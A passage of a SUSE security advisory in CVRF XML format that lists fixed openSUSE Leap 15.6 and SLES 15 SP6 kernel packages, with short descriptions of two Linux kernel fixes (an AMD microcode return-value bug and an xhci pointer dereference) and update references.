        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2024-53149.html</URL>
        <Description>CVE-2024-53149</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1234842</URL>
        <Description>SUSE Bug 1234842</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="5">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

x86/microcode/AMD: Fix __apply_microcode_amd()'s return value

When verify_sha256_digest() fails, __apply_microcode_amd() should propagate
the failure by returning false (and not -1 which is promoted to true).</Note>
    </Notes>
    <CVE>CVE-2025-22047</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-22047.html</URL>
        <Description>CVE-2025-22047</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1241437</URL>
        <Description>SUSE Bug 1241437</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="6">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

usb: xhci: Fix invalid pointer dereference in Etron workaround

This check is performed before prepare_transfer() and prepare_ring(), so
enqueue can already point at the final link TRB of a segment. And indeed
it will, some 0.4% of times this code is called.

Then enqueue + 1 is an invalid pointer. It will crash the kernel right
away or load some junk which may look like a link TRB and cause the real
link TRB to be replaced with a NOOP. This wouldn't end well.

Use a functionally equivalent test which doesn't dereference the pointer
and always gives correct result.

Something has crashed my machine twice in recent days while playing with
an Etron HC, and a control transfer stress test ran for confirmation has
just crashed it again. The same test passes with this patch applied.</Note>
    </Notes>
    <CVE>CVE-2025-37813</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
